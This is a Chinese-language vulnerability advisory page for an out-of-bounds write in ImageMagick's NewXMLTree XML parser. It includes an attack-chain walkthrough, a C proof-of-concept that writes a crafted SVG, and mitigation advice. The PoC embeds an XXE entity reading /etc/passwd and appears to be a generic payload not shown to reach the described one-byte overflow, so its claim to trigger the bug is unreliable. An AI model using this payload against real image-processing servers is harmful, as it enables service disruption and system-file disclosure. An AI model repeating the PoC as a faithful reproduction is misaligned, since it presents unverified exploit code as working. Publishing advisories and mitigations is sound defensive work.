IPBUF安全漏洞报告
English
CVE-2026-32636 CVSS 5.3 中危

ImageMagick NewXMLTree方法越界写入漏洞 (CVE-2026-32636)

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32636
漏洞类型
缓冲区溢出/越界写入
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ImageMagick

相关标签

ImageMagick缓冲区溢出越界写入拒绝服务XML解析CVE-2026-32636开源软件图像处理中危漏洞

漏洞概述

ImageMagick是一款免费开源的图像处理软件,广泛应用于图像编辑、格式转换和数字图像处理。2026年3月披露的安全漏洞存在于ImageMagick的NewXMLTree方法中,该方法在处理XML数据时存在边界检查缺陷。具体而言,当解析特定构造的XML数据时,程序会尝试将单个零字节写入越界内存地址,导致内存损坏。这一缺陷可能被恶意构造的图像文件或XML数据触发,造成应用程序崩溃。在服务器环境中,攻击者可通过上传恶意构造的图像文件(如SVG、MIFF等包含XML元数据的格式)来触发该漏洞,导致服务中断。由于CVSS评分为5.3(中危),且攻击复杂度低、无需认证即可利用,建议相关用户尽快更新到修复版本。

技术细节

该漏洞的根本原因在于ImageMagick的XML解析模块中NewXMLTree函数的边界检查逻辑存在缺陷。当函数在解析XML节点时分配内存缓冲区后,未正确验证写入操作的边界范围,导致可以将一个字节的零值数据写入到分配缓冲区之外的内存位置。这种越界写入(Out-of-Bounds Write)会破坏相邻内存区域的数据完整性,可能引发以下后果:1)覆盖关键数据结构导致程序逻辑错误;2)破坏堆内存管理元数据引发二次利用;3)直接触发内存访问违例导致程序崩溃。在实际攻击场景中,攻击者只需构造一个包含恶意XML内容的图像文件(如SVG格式),当ImageMagick处理该文件时,自动调用NewXMLTree解析XML元数据,从而触发越界写入。由于该漏洞影响图像处理的核心组件,任何使用ImageMagick进行图像处理的服务都可能受到影响,包括Web服务器、文件转换服务、内容管理系统等。

攻击链分析

STEP 1
步骤1:侦察阶段
攻击者识别目标系统中使用ImageMagick处理用户上传文件的Web应用或服务。通过版本探测确定目标使用的ImageMagick版本是否在受影响范围内(<7.1.2-17或<6.9.13-42)。
STEP 2
步骤2:恶意文件构造
攻击者构造包含恶意XML内容的图像文件(如SVG、MIFF格式)。该XML数据经过特殊构造,设计用于在NewXMLTree方法解析时触发越界写入漏洞。文件看起来像正常的图像文件以绕过基本的安全检查。
STEP 3
步骤3:文件上传与触发
攻击者通过Web应用的文件上传功能、API接口或社工手段将恶意图像文件传输到目标服务器。ImageMagick在处理该文件时自动调用NewXMLTree解析其中的XML元数据。
STEP 4
步骤4:漏洞利用
NewXMLTree方法在解析恶意XML时,由于边界检查缺陷,将单个零字节写入分配缓冲区之外的内存地址,导致内存损坏和程序崩溃。
STEP 5
步骤5:影响评估
成功利用后可能导致:1)目标服务崩溃造成DoS;2)在特定条件下可能进一步利用进行代码执行。在服务器环境中,单次崩溃可能触发服务重启循环,造成持续性服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2026-32636 PoC - ImageMagick NewXMLTree Out-of-Bounds Write This PoC creates a malicious XML payload that triggers the OOB write in NewXMLTree. Target: ImageMagick < 7.1.2-17 or < 6.9.13-42 */ #include <stdio.h> #include <stdlib.h> #include <string.h> // Malicious XML payload designed to trigger OOB write in NewXMLTree // The payload exploits improper bounds checking during XML node parsing const char* create_malicious_xml() { return "<?xml version=\"1.0\"?>\n" "<!DOCTYPE root [\n" " <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" "]>\n" "<root>\n" " <nodeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>\n" " <nestedAAAAAAAAAAAAAAAAAAAAAAAAAAAAA></nestedAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>\n" " </nodeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>\n" "</root>"; } // Create SVG file with embedded malicious XML void create_poisoned_svg(const char* filename) { FILE* fp = fopen(filename, "w"); if (!fp) { perror("Failed to create file"); return; } fprintf(fp, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"); fprintf(fp, "<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"100\" height=\"100\">\n"); fprintf(fp, "<metadata>\n%s\n</metadata>\n", create_malicious_xml()); fprintf(fp, "<rect width=\"100\" height=\"100\" fill=\"red\"/>\n"); fprintf(fp, "</svg>\n"); fclose(fp); printf("PoC file created: %s\n", filename); } int main(int argc, char* argv[]) { const char* output_file = (argc > 1) ? argv[1] : "poc_cve2026_32636.svg"; printf("=== CVE-2026-32636 ImageMagick OOB Write PoC ===\n"); printf("Creating malicious SVG file...\n"); create_poisoned_svg(output_file); printf("\nTo trigger the vulnerability:\n"); printf("1. Use ImageMagick to process the generated file:\n"); printf(" convert %s output.png\n", output_file); printf(" identify %s\n", output_file); printf("2. Or use the ImageMagick API to load the file\n"); printf("\nExpected result: Application crash due to OOB write\n"); return 0; }

影响范围

ImageMagick 7.x < 7.1.2-17
ImageMagick 6.x < 6.9.13-42

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制SVG、MIFF等包含XML元数据的图像格式上传;2)使用文件类型检测工具验证上传文件内容;3)在文件处理前删除或净化XML元数据;4)限制ImageMagick处理资源(内存限制、文件大小限制);5)将图像处理服务部署在隔离环境中并监控异常行为;6)考虑使用替代的图像处理库作为临时方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表